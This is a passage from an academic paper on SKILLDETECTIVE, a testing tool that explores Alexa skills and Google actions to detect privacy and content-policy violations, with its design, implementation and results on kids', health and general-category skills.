facilitates, or promotes content that is prohibited by these pol-
icy guidelines, it will be rejected or suspended. The policies
in place for developers are in no way comprehensive, but do
attempt to enforce some protections for vulnerable VPA users.

3 System Overview
The diverse nature of content policies poses a challenge for
policy violation detection. Due to the intrinsic challenges of
skill testing, there does not currently exist a content detec-
tor capable of detecting various policy violations in skills.
Therefore, it was necessary to design and implement a testing
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Figure 2: SKILLDETECTIVE overview.

system that not only communicates with skills, but also can
detect and identify policy violating skill behaviors.

Figure 2 shows the design overview of SKILLDETECTIVE, an
interactive testing tool capable of exploring a skill’s comport-
ment and identifying policy violations through the analysis of
its outputs. We first collect sample utterances from a skill’s
description located in the skill store (¶), which are utilized
to initiate the first interaction with a testing skill. In fact, the
skill store requires developers to provide a selection of invo-
cations for the purpose of letting end-users understand how
to use the skill. These sample utterances are easily accessible
on the skill’s web-page located in the skill store. To interact
with the skill, SKILLDETECTIVE employs a web driver tool
(Selenium WebDriver [12]) to directly interface via text with
the skill simulator provided by VPA platforms. Using this
method, SKILLDETECTIVE is able to collect a skill’s output
as well as input a response to the skill. Once an output is
received from the skill, the question analysis module (·) uses
a data-driven approach for classifying outputs by type. These
classifications include 5 question types and 1 "not a question"
type. When the question type is determined, the analysis tool
predicts the appropriate response needed to provoke further
interaction data (¸). The output is either answered by us-
ing a set of grammar rules or by utilizing a neural network
model trained on a corpus of question-answer pairs. The neu-
ral model’s training data was collected through the mining of
GitHub repositories featuring skill source code. Subsequently,
a dataset of question/answer pairs was extracted from skill
interactions embedded in the source code. For questions that
have multiple answers, the skill navigation module (¹) main-
tains a skill-tree where nodes represent the responses of the
skill outputs (questions) and the branches represent the in-
puts (answers). The skill outputs (consisting of text, sound
and image files) are stored and analyzed for possible policy
violations (º). We are particularly interested in the policy en-
forcement for child-directed and health-related skills, which
require more stringent policies since 1) kids are more vul-
nerable to potential threats compared to adults, and 2) more
sensitive details of users’ lives and medical conditions are
involved in health-related skills.

Distinction from prior work. SKILLDETECTIVE distin-
guishes itself from existing work [27, 37] in four ways. 1) We
adopt a data-driven approach for classifying question types
and generating their answers. 2) Our detection is not only
for text but also includes skill media data, such as audio and

image files. Some skills play audio files that are hosted exter-
nally and are not in the voice of the device. These external
files do not get translated by the skill simulators and must be
processed separately in order to extract any policy violations
as well as to navigate some skills. Also, many newer skills
contain image files, which must be processed to extract any
content violations. 3) We consider a wide range of policies
when analyzing skill outputs. The policy violation detector
in SKILLDETECTIVE currently checks for 52 different policies
defined by VPA platform providers. 4) We improve upon skill
navigation by dynamically exploring skill paths and adding
them to a stack in the navigation model, which improves
the ability of SKILLDETECTIVE to handle complex skills. In
addition, we conduct a large-scale dynamic and static analy-
sis of skills to detect policy non-compliant skills in both the
Amazon Alexa and Google Assistant platforms.

4 SKILLDETECTIVE Design
4.1 Data-Driven Question Analysis
Typically, skill outputs can be answers to previous question-
s/requests or may ask further questions. To continue the con-
versation, our goal is to first identify whether a skill’s response
is a question. If yes, we need to understand the question and
provide a valid response. We define a valid response as any
response capable of being understood by the VPA and that
allows the conversation to continue.

Question Types. We mainly consider five types of ques-
tions. Table 1 lists the question types and corresponding ex-
ample questions. 1) Binary questions (Yes/No) have only two
possible answers: yes or no. 2) Instruction questions give the
user assistance in determining how to answer them. Struc-
turally, this question type usually tells the user how to respond
by using directive keywords (e.g., "tell" or "say"). Authors
in [27] found that over 96% of instruction questions asked
through skills use the words "ask" and "say". 3) Selection
questions contain multiple answers and are also referred to
as "choice" questions if the answers are connected by the
keyword "or". The question gives the user a list of possible
answers either explicitly or implicitly. 4) Open-ended ques-
tions (also known as free-form or "wh" questions) require
the user to answer in a free manner. An example of this type
is "What is your mother’s name?". As long as we provide
any valid name, we can continue the conversation with the
skill. 5) Mixed questions contain elements from more than
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one of the above question types. For example, “There are
A, B, and C to choose from. Which one do you want?” The
question “Which one do you want?” is a Free-form ques-
tion, but the answers “A, B, and C” provided in the previous
statement are of the selection type. Structurally, this question
type has mixed attributes that match more than one of the
other question types. If a skill’s output does not represent any
type of inquiry and demands no response, we consider it as a
statement and classify it as NULL.

Question Type Example Valid Answers
Binary Are you in the car? Yes, No
Instruction Say your name. George
Explicit Selection Do you want to eat, run, or watch TV? Eat, Run, Watch TV
Implicit Selection Choose a number between 1 and 3? 1, 2, 3
Open-ended What is your mother’s name? Amy

Mixed There are A, B, and C to choose from.
Which one do you want? A, B, C

NULL Zebras are black and white. N/A

Table 1: Different types of questions from skills.
Question Classification. To identify question types, we

adopt a data-driven methodology and build a classifier trained
on a corpus of labeled questions and statements. A sampling
of 1,000 questions (200 per type) were randomly chosen
from template skill source code mined from GitHub and hand
labeled by type to be used by the question type classifier.
Another random sampling of 200 statements were added to the
dataset and hand labeled NULL. Labeling the NULL values
allows the classifier to correctly classify statements that are
not questions and demand no further communication during
the skill testing. Utilizing the data-driven classifier gives us
distinct advantages over the grammar-rule based approach in
SkillExplorer [27]. Evaluation results in Section 6.2 show that
our approach improves the questions classification of Mixed
questions by 11% and statements by 26.3%.

Classification is performed by utilizing the structural dif-
ferences of each question type via the creation of a parts-of-
speech (PoS) signature that is used to differentiate between
types. PoS tagging assigns labels to tokens (words), signifying
whether they are nouns, verbs, adjectives, etc. Every token in
a sentence has a tag applied. We use the Stanford Core-NLP
package [14] to extract the PoS tags from the questions. For
example, if analyzing the sentence "Alex was raised in the
U.S.", we would assign an NNP (proper noun, singular) tag
for Alex indicating that the name “Alex” is a singular proper
noun. Tags would also be applied to the remaining tokens in
the sentence creating a pattern.

Algorithm 1: Question Classification

Input: Question corpus (C); Target question (α)
Output: Question type of α;

1 µ = 0; q = Null;
2 foreach n ∈C do
3 if Similarity(PoS(α),PoS(n)) > µ then
4 µ = Similarity(PoS(α),PoS(n));
5 q = QuestionType(n)

6 return q;

Algorithm 1 shows the question classification algorithm.

The classifier is provided a corpus of labeled data (C) and a
target question (α). The labeled corpus contains two attributes
(Q and T), which represent the questions and their types. To
start, µ = 0 and q = NULL. For each labeled question n in
C, the similarity of n to α is calculated. If the similarity is
greater than µ, then µ is set equal to the similarity value and
q is set equal to the question type of n. Finally, q is returned
as the type of the question with the highest similarity value.
To calculate the similarity of n to α, we permute through all
conjoined PoS patterns created from n and count the amount
of times they show up in the target question α. Details of the
similarity calculation can be found in Appendix B.

4.2 Skill Interaction
Answer Prediction. Given a skill’s response and after identi-
fying its question type, we generate a valid answer to continue
the conversation. We adopt similar approaches used in Skill-
Explorer [27] to generate answers for the Binary, Instruction,
Selection and Open-Ended types of questions. The Binary
type of question is the easiest to answer. Upon classification,
the answer is either "yes" or "no". To extract the answer from
an Instruction type, we identify specific patterns associated
with the commands "ask" and "say". To answer the Selection
type, the answers appear connected by conjunctions or clearly
marked by identifiers such as numbers or letters. To answer
an Open-ended question, first a dataset of virtual user profiles
was created. These profiles contain such information as name,
age, address, etc. Keywords from the questions are searched
within the dataset and the corresponding answer is returned.

The SkillExplorer methodology [27] is not suited for an-
swering Mixed type questions as accurately as the other types.
This is likely due to the fact that the grammar-rules developed
for the Mixed type question were created using a small (for
this type of methodology) labeled set of data (only 2,000 ques-
tions sampled from skill responses in SkillExplorer). Another
possible factor is the fact that the grammar-rules are fixed and
not dynamic. We found through testing that SkillExplorer’s ac-
curacy in answering the Mixed type questions is around 87%
(Details in Section 6.2). To improve upon this, we develop a
different method for answering the Mixed types. We utilize an
FNN (Feed-Forward Neural Network) model [26], which is
trained on a corpus of question/answer pairs and predicts the
most probable answer based on question similarity. We chose
an FNN model because they can achieve advanced results on
a range of language processing tasks while being considerably
less resource expensive than deep recurrent models [18].

To utilize the FNN for answer prediction, we first vectorize
all questions in our corpus. To this end, we utilize a variation
of the Count Vectorizer technique [26]. We identify represen-
tative keywords from the complete corpus of question/answer
pairs, by extracting the nouns of each question. We choose the
nouns of each question because they represent the subject of
the question. These nouns form the representative keywords,
which together form a bag of words (BoW). We next create
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our feature vector by calculating the average Levenshtein Dis-
tance (LD) [44] between each individual keyword in the BoW
to every word in our target question (Details are provided in
Appendix B). By using this method, the corpus is vectorized
to be used as a training set for the neural model. The system
classifies each input question by using the Sigmoid Function
for activation and subsequently predicts the most probable
answer. Different parameters were tested such as the learning
rate and number of hidden layers against a test set of data us-
ing cross validation. In SKILLDETECTIVE, the optimal learning
rate was set to 0.85 with 35 nodes in the hidden layers and a
tolerance of 0.05.

Skill Navigation. Structurally, skill interaction can be rep-
resented as a dynamically growing tree. The nodes of the
tree represent the responses of the skill (e.g., questions) while
the branches represent the inputs (e.g., answers). We use this
skill-tree to keep track of what nodes SKILLDETECTIVE has
interacted with. Because skill testing is an iterative process
that requires a fresh start for each branch, we must keep track
of all branches that have and have not been explored in order
to maximize skill coverage while minimizing testing latency.
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Figure 3: Example of the skill-tree for skill navigation.
Figure 3 illustrates an example of how the skill-tree is used

to navigate during skill testing. Skill navigation begins with
the instantiation of a single node (i.e., node A), which repre-
sents the initial skill output following an activation term (e.g.,
"Alexa, open [skill]."). Processing this output, SKILLDETEC-
TIVE determines what content is contained such as questions,
question types, and statements. Using this information, the
skill tree can begin to grow and the first of the skill’s paths
are created. A skill path represents a single pathway through
the skill tree to a terminal node (i.e., the NULL type).

Take the example in Figure 3 (Round 1), suppose the skill
output is "Do you want to play a game?" The possible an-
swers expected to be returned are "yes" or "no". These two
answers are represented by branches coming from node A.
SKILLDETECTIVE would generate two skill paths, and each
path begins by recording the first node A and the subsequent
answers "yes" and "no". The initial paths are represented as
P1: A->"yes" and P2: A->"no". To continue, SKILLDETECTIVE

always follows the leftmost path (e.g., P1) in the skill tree,
and pushes the other path candidates (e.g., P2) onto a stack
Unvisited_Paths. It goes to node B with a skill output "There
is a road. Do you go left or right?". The answer prediction
module generates two possible responses "left" and "right".
Thus, a forking path P3: A->"yes"->B->"right" is pushed onto
Unvisited_Paths. For this turn, we respond "left" which takes

us to node C. Suppose node C contains an external audio
file, where the testing console outputs the terms <Audio only
response> or <Short audio>. When one of these terms are
received by the navigation module, the audio file is fetched,
transcribed using the speech-to-text software, and finally the
transcription is used as input to the answer prediction mod-
ule. In Figure 3, node C contains a question "There are two
doors. Do you want to open the closed door or close the
opened door?". As a result, another forking takes place and
path P4: A->"yes"->B->"left"->C->"close" is pushed onto
Unvisited_Paths. Following P1, we choose "open", and the
skill responds with "You are attacked and died. The end!"
which is a statement and makes node D terminal. If the skill
output is a terminal node, SKILLDETECTIVE returns "Exit" and
"Stop" to bring the interaction to an end.

SKILLDETECTIVE must restart once per skill path. This pro-
cess is repeated until there are no more skill paths left to
explore. Figure 3 (Round 2) shows the process to explore the
path P4 in Unvisited_Paths. It follows the pre-defined path A-
>"yes"->B->"left"->C->"close" and explores any downstream
nodes after returning the answer "close" to the skill. Suppose
the next node SKILLDETECTIVE encounters is node E which is
terminal. Subsequently, P4 is removed from Unvisited_Paths.

Next, we discuss dynamic content, where skill outputs are
not fixed in different rounds of testing. In Figure 3 (Round
3), SKILLDETECTIVE restarts the conversation to explore path
P3: A->"yes"->B->"right". After node A, SKILLDETECTIVE

responds "yes" to the skill. However, this time the skill output
contains a new question "Do you go up or down?". The corre-
sponding answers are “up” and “down”. In this case, two new
paths P5 and P6 are created. For practical consideration when
conducting a large-scale testing, to avoid SKILLDETECTIVE

exploring a skill tree infinitely (due to the path explosion), we
introduce a threshold for limiting the depth of individual paths
in our dynamic testing of skills. Therefore, SKILLDETECTIVE

interacts with a skill in a best-effort manner.

4.3 Policy Violation Detection
We mainly focus on four types of policies related to privacy
and content safety: 1) policies for specific categories (i.e., the
Kids and Health categories); 2) policies on data collection and
privacy notification for general categories; 3) policies on skill
descriptions; and 4) policies on content safety (e.g., toxic or
inappropriate content). Table 12 and Table 13 in Appendix D
list the detailed policy violations that we target to detect in
SKILLDETECTIVE. Note that collecting personal data from
users is forbidden for skills in the Kids and Health categories.
For the other categories, skills may collect user data but they
need to provide a privacy policy outlining data usage. There
are three categories of policies that we do not consider because
to do so would be difficult without human intervention: 1)
policies about trademarks and brands; 2) policies on whether
a skill uses in-skill purchasing or web search correctly; and
3) misleading information in skills.
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Through the mining of skill stores, we were able to attain a
skill’s name, sample utterances, category, description, privacy
policy, permissions, etc. During dynamic testing, SKILLDE-
TECTIVE collects the skill’s outputs by exploring possible
interaction paths. Although the skill simulator provides tex-
tual outputs for most skills, some skills provide additional
pre-recorded audio streams and images which may contain
policy violations. This means that SKILLDETECTIVE also must
check audio and image outputs from skills.

SKILLDETECTIVE first detects potential violations of poli-
cies specific to skills in the Kids and Health categories. For
all categories, it detects personal data collection in a skill, and
then captures any inconsistencies among privacy notice/pol-
icy, description and run-time skill behavior. Since Google’s
VPA platform has defined several data types that are protected
by their permission models (i.e., collecting these specific types
of data should be through the permission APIs), SKILLDETEC-
TIVE also identifies Google actions that collect these data
without using the required permission APIs. There are more
than 40 specific policies defined by VPA platforms about skill
outputs for content safety. SKILLDETECTIVE detects policy
violations of content safety in skill outputs.

4.3.1 Detecting violations of policies specific for skills in
the Kids and Health categories.

Kids category. The Amazon Alexa platform has defined
three specific policies for skills in the Kids category. Skills
are not allowed to 1) collect any personal information from
end users; 2) direct end users to engage with content outside
of Alexa; and 3) include content not suitable for all ages. The
Google Assistant platform has specified the first and third
policies, but does not explicitly prohibit skills from directing
users to external websites.

To detect personal data collection in skills, we selected 21
types of common PII (personal identifiable information) from
a NIST (National Institute of Standards and Technology) re-
port [33], as shown in Table 2. Given a skill’s output, we use
the Spacy library [6] for analysis and to check whether any
keyword is used as a noun. This is because some words such
as "address" or "email" can be a verb in a sentence instead of
a noun. Since skill developers might provide their own infor-
mation such as email or phone number in the conversation, we
only detect the personal data with the keyword "your". Specif-
ically, we limit the name as "name", "first name", "last name"
and "full name" since there may be other types of names in a
skill’s output, such as "your shopping name" or "your group
name". In addition, we manually collect a list of common
sentences of personal data collection such as "what can I call
you", "how old are you", and "where do you live". It improves
the detection accuracy by checking for the existence of any
sentence in the list.

For the second kids-specific policy (only for Amazon Alexa
skills), we detect whether there exists a website URL (other
than Amazon and Alexa’s domains) in skill outputs to direct

Personally
Identifiable
Information

(PII) [33]

Address, Name, Email, Birthday, Age, Gender, Account, Location,
Contact, Phonebook, Profession, Income, Zipcode, Postal code,
Phone number, Passport number, Driver license number, Bank
account number, Debit card number, Credit card number, SSN

Common Health
Information

Height, Weight, Blood group, Blood pressure, Blood glucose, Blood
Oxygen, Heart rate, Body temperature, Sleep data, Fat percentage,

Mass index, Waist circumference, Menstruation, Period
Protected Health

Information
(PHI) [16]

Name, Phone number, Address, SSN, Email address, Account,
Internet protocol address, Age, Gender, Birthday, Medical record
number, Health plan beneficiary number, Driver license number

Verb Set Related to
Data Collection

Access, Ask, Assign, Collect, Create, Enter, Gather, Import, Obtain,
Observe, Organize, Provide, Receive, Request, Share, Use, Include,

Integrate, Monitor, Process, See, Utilize, Retain, Cache, Delete,
Erase, Keep, Remove, Store, Transfer, Communicate, Disclose,

Reveal, Sell, Send, Update, View, Need, Require, Save

Table 2: Keywords related to personal data collection.

users to external websites. For the third kids-specific policy,
since some skills explicitly mention they include mature con-
tent not suitable for all ages in the outputs, we detect keywords
such as "mature content" in skill outputs. We also conduct
toxic content detection, since toxic content such as violence,
profanity and sex are forbidden for all categories.

Health category. Both Amazon and Google have defined
specific policies for skills in the Health category. They restrict
data collection about health information from users, and also
require skills that provide health-related information to in-
clude a disclaimer in their descriptions. For data collection in
the Health category, Amazon doesn’t allow skills to collect
information relating to any person’s physical or mental health
or condition while Google clearly defines that actions cannot
collect "information that could be considered protected health
information (PHI) [16] under the Health Insurance Portability
and Accountability Act (HIPAA)". But, Google does allow
actions with fitness functions to collect some common health
information such as calories burned, steps taken, weight data,
BMI, etc. Therefore, SKILLDETECTIVE detects the data collec-
tion of PHI for both platforms and conservatively detects the
data collection of common health information only for the
Amazon platform. We use the same method of detecting kids’
data collection to detect health data collection in skills and
actions, where the keywords are listed in Table 2.

4.3.2 Detecting policy violations in the privacy notice
For all categories, the Amazon Alexa platform requires skills
with data collection to provide a privacy policy/notice while
the Google Assistant platform requires every action to have
one. In a privacy policy document, developers should clearly
disclose the data collection practices of a skill. SKILLDETEC-
TIVE mainly detects four types of potential violations related
to privacy policies: 1) a skill doesn’t provide a privacy policy
(i.e., missing a privacy policy) although it is required; 2) a
skill has a privacy policy, but does not disclose all data collec-
tion practices in the privacy policy (i.e., incomplete privacy
policy); 3) a skill explicitly mentions it does not collect data in
its privacy policy, but it actually does collect data (i.e., decep-
tive privacy policy); and 4) for Google actions, an action does
not request permissions to access certain types of user data,
but collects these data through the conversational interface.
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We detect whether there exists data collection behavior
in a skill’s outputs by using the same NLP-based method
described in Section 4.3.1. For detecting missing privacy poli-
cies, we check whether the privacy policy of a skill is provided
and if the skill contains data collection. To detect incomplete
privacy policies, we adopt a simple yet effective keyword-
based approach. We maintain a verb set [19, 32, 42] related
to data collection, which includes 40 commonly used verbs
in privacy policies as listed in Table 2. For each sentence in
a privacy policy, we check whether any PII data type listed
in Table 2 is collected. To improve the detection accuracy,
we use a data type ontology defined in [30]. Specifically,
"address", "location", "geolocation" and "position" will be
treated as data types in the same level. While "zip code" and
"postal code" are data types in the lower level, which can be
covered by the higher level data types. For example, a skill
asking for the location permission but only claiming the zip
code collection in a privacy policy would be considered as
having an incomplete privacy policy. On the contrary, if it
asks for the zip code but claims collecting location data, it
has a complete privacy policy. For detecting deceptive privacy
policies, we use the PolicyLint [17] (a privacy policy anal-
ysis tool) to obtain negative statements about whether or not
certain types of user data are collected. Some privacy policies
would claim they do not collect user data, but we observed
data collection from their skill outputs. For example, the skill
"Reggie Birthday Reminder" claims that "We never collect
or share personal data with our skills" but asks for the user’s
birthday through the conversation channel.

In addition, both the Amazon Alexa and Google Assistant
platforms provide permission requesting APIs for skills col-
lecting specific types of data from users. Specifically, Google
requires that an action must "Request all sensitive user data
(location and name) via the Permissions API". The Amazon
Alexa platform allows developers to request permissions for
collecting device address, customer name, customer email
address, customer phone number and location for skills in
general categories. If a skill collects these data through per-
mission APIs, Amazon would display the permission infor-
mation in the skill’s introduction page, and we would check
whether its privacy policy has disclosed such data practices
or not. Google doesn’t provide the permission information
on the action’s introduction webpage. For our detection, if
an action collects user name or location through the conver-
sational interface, it is flagged as a possible policy violation
since the skill should use permission APIs for such data col-
lection. Note that we do not detect this policy violation for
the Amazon Alexa platform since it doesn’t explicitly require
developers to use Permission API when collecting the permis-
sion protected data types.

4.3.3 Detecting policy violations in skill descriptions

A unique policy for the skill description is that both Amazon
and Google platforms require health-related skills to have a

disclaimer in their descriptions. Amazon policy requires "a
skill that provides health-related information, news, facts or
tips should include a disclaimer in the skill description stating
that the skill is not a substitute for professional medical ad-
vice". Google also has a similar policy. Amazon goes so far as
to provide an example description disclaimer, "This tool does
not provide medical advice, and is for informational and edu-
cational purposes only, and is no substitute for professional
medical advice, treatment or diagnosis."

For detecting if a disclaimer is missing in a skill descrip-
tion, we first check whether the words "medical advice", "ed-
ucational purpose" or "information purpose"(keywords taken
from the sample description disclaimer) show up in the de-
scription. This is because a lot of skills copy the sample
disclaimer. For other cases, we compare the similarity of each
sentence in the skill description to each sentence in the ex-
ample disclaimer using the Spacy library [6]. If the similarity
score is greater than a threshold, we consider the sentence
as a disclaimer. After checking the descriptions of randomly
selected 500 skills (as testing data), we found that choosing
the similarity threshold to be 0.93 yields the best result. Our
method achieved an accuracy of 98% when applying this
threshold to all the skills (Details in Section 6.1.3).

We also check whether the description violates other poli-
cies, such as data collection or requesting a positive rating.
Some skills would mention their data collection in the de-
scription. For example, the skill "Omron Health" says they
would "Monitor and track your blood pressure". Amazon re-
quires that skills cannot "Explicitly request that users leave a
positive rating of the skill". We search for keywords such as
"5 star review" or "five star rating" in a skill description and
check whether the keywords are associated with verbs "give"
or "leave". We found a large number of skills requesting a
positive rating in their skill descriptions (Details can be found
in Section 6.1.3).

4.3.4 Detecting policy violations for content safety

Most policies defined by VPA platforms are about the con-
tent safety of skill outputs. For these policies, we first detect
toxic or inappropriate content in the skill outputs. Several
of Amazon’s policies mention that skills should not provide
content about sex, violence, anything illegal, hate or profanity.
Google also prohibits such content. To detect toxic content,
we use the Perspective tool (an inappropriate content detec-
tion tool) [8] to analyze the skill outputs, and it calculates the
severe toxicity score given an input sentence. In SKILLDETEC-
TIVE, we set a high score threshold (i.e., 0.9), which means the
flagged sentences contain inappropriate content with a very
high probability. Since the toxicity ratings can be subjective
in the real world, we then organize an internal focus group of
three researchers, which includes two native English speakers,
to manually verify that the contents detected by Perspective
are indeed toxic or not. An output would be considered as
toxic only if two or more researchers labeled it as toxic.
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In addition to the above policies, there are more than 40
policies describing specific content/activities that are not al-
lowed, such as to "claim to cure all diseases", "predict gender",
or "build a bomb". These policies provide detailed examples
thus enhancing our ability to detect violations. For these de-
tailed policies, we first partition them into short phrases. For
example, as to the policy "Includes references to or infor-
mation regarding forced marriages or purchasable husbands
and/or wives", we obtain three short phrases: "forced mar-
riages", "purchase husband" and "purchase wife". For the
policy "Purports to be able to predict gender", we generate a
phrase "predict gender". Then, we use the Spacy library [6] to
check whether these content or activities exist in skill outputs.
For each skill output, we obtain nouns and verbs and compare
whether they are similar to a policy. If the similarity is over a
pre-defined threshold of 0.9, we consider the skill to contain
a policy violation.

5 Implementation and Testing
SKILLDETECTIVE was implemented mostly in two differ-
ent programming languages: Java and Python. The data-
driven question analysis model was trained using a corpus of
18,641 question/answer pairs gathered from over 60,000 skill
source code files taken from 1,437 skill templates mined from
GitHub repositories. The bulk of the question/answer pairs
was self-labeled by extracting the answers from the source
code, e.g., answers are nested within the "if" statements in
the code. Over 1,300 questions from the corpus were hand
labeled to train the classifier. Using the repository data, we
were able to ascertain a set of representative skill structures
that were used to enhance our skill navigation. The instantia-
tions of SKILLDETECTIVE were run on a 2.6 GHz Quad-Core
Apple Mac running macOS Catalina, as well as in Linux en-
vironments for concurrent skill testing. The development and
experiments were conducted from Jan 2020 to Jan 2021.

Data collection and communication between SKILLDE-
TECTIVE and the testing console (i.e., skill simulator) was
performed using the Selenium WebDriver [12]. Through
SKILLDETECTIVE, we were able to test 54,055 Amazon Alexa
skills and 5,583 Google actions. We found there are a large
number of skills with the same name in the Alexa skill store
(10,847 skills with duplicate names with others), so, we need
to figure out which skill we are testing instead of invoking
another skill with same name. For doing that, we extracted the
unique Amazon product ID for each skill from the URLs of
skill webpages. When testing skills, we recorded the skill ID
at the same time. Based on the skill ID, we could obtain the
skill’s accurate developer, description, category and privacy
policy information.

We gathered 518,385 total skill interactions. From this
data, we applied our tool to infer the question type distribu-
tion, and the tool identified that 7.8% are Selection, 15.8% are
Open-Ended, 8.7% are Binary, 8.2% are Instruction, 9.8% are
Mixed, and 49.7% are Statements (NULL). We gathered ap-

proximately 2,070 unique audio files and 31,100 unique image
files. We used the Python library Speech-Recognition [13]
to translate the audio file into text. For audio processing dur-
ing testing, we used the Sphinx4 [39] library to transcribe au-
dio files into text. To process image files, we used the Python
library pytesseract [10] to extract texts from images.

Skill testing is a time consuming process due to the fact that
every time it requires a fresh start for testing each interaction
branch. We first tested all (as of Sep. 2020) skills in the
Kids and Health categories. In our testing, we found a large
number of skills asking for personal data in their first outputs
(Details can be found in Figure 4). It makes sense because a
skill tends to establish a rapport with the user in the earlier
stages of the interaction and it is during this information
gathering session that many policy violations occur. For the
purpose of optimizing the total testing time, we designed
SKILLDETECTIVE with two speeds: Fast and Slow. The Slow
speed takes more time and explores as many nodes in the
skill as possible, which was used to test skills in the Kids and
Health categories, while the Fast speed spends less time on a
skill and was used for the bulk of the analysis. We limit the
depth SKILLDETECTIVE is allowed to go to 7 nodes down in the
Fast mode. We have found that most policy violating materials
show up within the first few nodes. Overall, SKILLDETECTIVE

using the Slow speed spends an average of 14 minutes and
33 seconds exploring a skill, while SKILLDETECTIVE using
the Fast speed spends an average of 5 minutes 13 seconds
exploring a skill. The overall average skill exploration time is
approximately 10 minutes per skill.

6 Evaluation Results
In this section, we present our results of policy violation de-
tection and the performance of SKILLDETECTIVE. Table 14
in the Appendix presents a summary of our detection results.
The detection results presented in tables in this section are
true positives after our manual verification. With SKILLDE-
TECTIVE, we identified 6,079 unique skills and 175 actions
potentially violating at least one policy.

6.1 Identifying Policy-Violating Skills
6.1.1 Skills in Kids and Health categories

Based on the method described in Section 4.3.1, we tested all
3,617 Amazon skills and 108 Google actions in the Kids cate-
gory (as of Sep. 2020). We identified 244 suspected policy-
violating skills in the Kids category of the Amazon Alexa’s
skill store, and we did not find any policy-violating child-
directed actions. Table 3 lists the breakdown of these policy-
violating skills.

Since data collection is not allowed for skills in the Kids
category, we first checked whether any kid skills collect any
personal information and we found 34 skills that do collect
personal information. 26 of the policy-violating skills ask
for a user name while the others ask for age, birth date and
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Policy Violation # of Skills Example
Collecting personal data 34 So, first, what is your name?

Directing users to outside
of Alexa 21 Please support us by visiting

www.oneoffcoder.com.

Explicit mature content 12 My bestie contains mature content
that may not be suitable for all ages.

Requesting for positive
rating 177

If you enjoyed playing kid chef,
leaving us a five star review will

help us add more content.

Toxic content 4 If I had a face like yours, I’d teach
my ass to talk.

Violation in audios/images 4
Happy holidays santa’s little helper
here. Tell me your name to begin.

(in audio)

Table 3: Detailed breakdown of 244 policy-violating skills in
the Kids category of the Amazon Alexa’s skill store.

location. For example, the skill "Spare Parts" asks "How old
are you?", and the skill "Cake walk" would ask "When is
your birthday?". We also found that 19 skills ask for user data
in their first replies. It is puzzling that how these skills got
approved because the policy violations can easily be captured
during the skill vetting process. Next, we identified 21 kid
skills that direct users to content/website outside of Alexa,
and 12 skills explicitly claim they contain mature content. For
examples, the skill "Math Whiz" replies that "please support
us by visiting www.oneoffcoder.com", and the skill "Random
picker" says "Random picker contains mature content that
may not be suitable for all ages".

We also checked kid skills against other policies defined for
general categories. We found 177 skills requesting a positive
rating in the skill output or description. For example, the skill
"Kids Aimal Sounds" says "If you liked this skill, please
give us a 5 star rating". We identified 4 skills containing
toxic content for kids by using the Perspective tool [8]
and human verification. The skill "My Burns" will output
"Are you always so stupid or is today a special occasion?"
or "You’re so ugly you’d scare the crap out of the toilet".
Interestingly, we found 1 skill with data collection and 3 skills
directing users to external websites in audio/image files.

For the Health category, we detected 146 skills out of 2,162
skills and 13 actions out of 227 actions with health-related
data collection. Table 4 shows our detection results. 20 skills
and 7 actions would collect data in their first replies. 82 skills
request permissions (i.e., using the provided permission APIs)
to collect data. In addition, we found 13 skills not in the Health
category but asking users for health information. For example,
the skill "HealthDataGatherer" would ask "Hello, what is your
blood pressure now? I will try to remember this", but the skill
is in the "Productivity" category. After manually checking all
the flagged skills/actions, we found 12 false positives (i.e.,
achieving a detection accuracy of 92%). The false positives
are because of some skills providing tips or facts such as
"lower your blood pressure", which actually doesn’t contain
a policy violation.

6.1.2 Skills with data collection for general categories
For the general (i.e., non-Kids and non-Health) categories,
we identified 480 skills and 61 actions collecting personal
data without using permission APIs (i.e., they collect user

Policy Violation # of Skills # of Actions
Collecting health data 146 13

Collecting health data but not in
the Health category 13 0

Lacking a disclaimer 1,709 (79%) 149 (66%)

Table 4: Policy violations in health-related skills. We tested
all 2,162 skills and 227 actions in the Health category.

data through the conversation interface). There are also 1,369
skills collecting personal data using permission APIs in the
Amazon Alexa platform. Among all these skills with data
collection, 623 skills and 25 actions potentially violate at
last one policy, such as lacking a privacy policy, having an
incomplete or deceptive privacy policy. Table 5 summarizes
the results.

Skills collect data
through

permission APIs

Skills collect data
without using

permission APIs
Action

Lacking a privacy
policy 1 171 0

Having an
incomplete privacy

policy
330 104 8

Having a deceptive
privacy policy 38 12 2

Should ask for
permission - - 17

Total policy-violating
skills 623 25

Table 5: Policy violations related to data collection for skills
in general categories.

All of these skills and actions should provide a privacy pol-
icy to clearly disclose any involved data practices. However,
for skills and actions collecting data without using permission
APIs, we found 171 Alexa skills do not provide a privacy
policy. All the 61 Google actions with data collection have
provided a privacy policy. Next, we found 104 skills and 8 ac-
tions with an incomplete privacy policy. Finally, we checked
deceptive privacy policies where skills claim they do not col-
lect a specific type of data, but actually do. We found 12 skills
and 2 action with deceptive privacy policies. For example, the
skill "Diaper Duty" says "you can say your name" but claims
"We never collect or share personal data with our skills" in its
privacy policy. For the actions with data collection, 17 actions
should have asked for permissions through APIs, but they do
not. 9 actions ask for user names and another 8 actions ask
for addresses.

For the 1,369 skills using permission APIs to collect user
data, we also checked whether their privacy policies are ac-
curate or not. Surprisingly, a skill named "Adopt A Pet" uses
permission APIs to access "Device Country and Postal Code"
data but doesn’t provide a privacy policy (A screenshot is
shown in Figure 5 in Appendix C). We also found that 330
skills request permissions but provide an incomplete privacy
policy, and 38 skills provide a deceptive privacy policy. An-
other surprising observation is that, 2 skills in the Kids cat-
egory and 82 skills in the Health category collect data with
permissions, which is apparently not allowed in these two
categories. An example is shown in Figure 6 in Appendix C.
After manually checking the permissions and privacy poli-
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cies of these 1,369 skills, our method correctly identified 891
skills with a complete privacy policy and 330 skills with an
incomplete privacy policy. Other 147 skills were wrongly
classified as false positives or false negatives. As a result, our
approach achieves 90.5% precision, 94.3% recall, 92.4% F1
score and 89% accuracy.

6.1.3 Policy violations in skill descriptions

Both VPA platforms require health-related skills to provide
a disclaimer in the description. However, we found only 453
Amazon skills among 2,162 skills (21%) provide a disclaimer.
78 Google actions among 227 actions (34%) provide a dis-
claimer and 66% of actions do not provide one. Interestingly,
we also noticed that Amazon provides a sample disclaimer,
and we found 89 skills and 16 actions using the exact sample
in their descriptions. Other skills may use a disclaimer in their
own words similar to the sample. After manually labeling all
the disclaimers in health-related skills, we confirmed that our
method achieved 95% precision, 97% recall, 96% F1-Score
and 98% accuracy, which is higher than the results reported
in VerHealth [37]. One possible reason is that VerHealth only
uses 59 skills with a disclaimer for training and the number
might be too small for training a neural network for detection.

As to the policy prohibiting "Explicitly requests that users
